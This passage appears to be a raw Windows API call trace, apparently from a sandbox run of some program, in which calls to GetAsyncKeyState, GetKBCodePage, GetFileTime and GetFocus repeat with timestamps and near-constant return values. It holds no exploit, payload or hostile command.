GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.017] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.017] GetFocus () returned 0x0 [0248.017] GetAsyncKeyState (vKey=58) returned 0 [0248.017] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.018] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.018] GetFocus () returned 0x0 [0248.018] GetAsyncKeyState (vKey=58) returned 0 [0248.018] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.019] GetFocus () returned 0x0 [0248.019] GetAsyncKeyState (vKey=58) returned 0 [0248.019] GetKBCodePage () returned 0x1b5 [0248.019] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.020] GetKBCodePage () returned 0x1b5 [0248.020] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.020] GetFocus () returned 0x0 [0248.020] GetAsyncKeyState (vKey=58) returned 0 [0248.021] GetKBCodePage () returned 0x1b5 [0248.021] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.021] GetFocus () returned 0x0 [0248.021] GetAsyncKeyState (vKey=58) returned 0 [0248.021] GetKBCodePage () returned 0x1b5 [0248.021] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.021] GetFocus () returned 0x0 [0248.021] GetAsyncKeyState (vKey=58) returned 0 [0248.021] GetKBCodePage () returned 0x1b5 [0248.021] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.021] GetFocus () returned 0x0 [0248.021] GetAsyncKeyState (vKey=58) returned 0 [0248.021] GetKBCodePage () returned 0x1b5 [0248.021] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.021] GetFocus () returned 0x0 [0248.021] GetAsyncKeyState (vKey=58) returned 0 [0248.021] GetKBCodePage () returned 0x1b5 [0248.021] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.021] GetFocus () returned 0x0 [0248.021] GetAsyncKeyState (vKey=58) returned 0 [0248.025] GetKBCodePage () returned 0x1b5 [0248.025] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.025] GetFocus () returned 0x0 [0248.025] GetAsyncKeyState (vKey=58) returned 0 [0248.025] GetKBCodePage () returned 0x1b5 [0248.025] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.025] GetFocus () returned 0x0 [0248.025] GetAsyncKeyState (vKey=58) returned 0 [0248.025] GetKBCodePage () returned 0x1b5 [0248.025] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.025] GetFocus () returned 0x0 [0248.025] GetAsyncKeyState (vKey=58) returned 0 [0248.025] GetKBCodePage () returned 0x1b5 [0248.025] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.025] GetFocus () returned 0x0 [0248.025] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 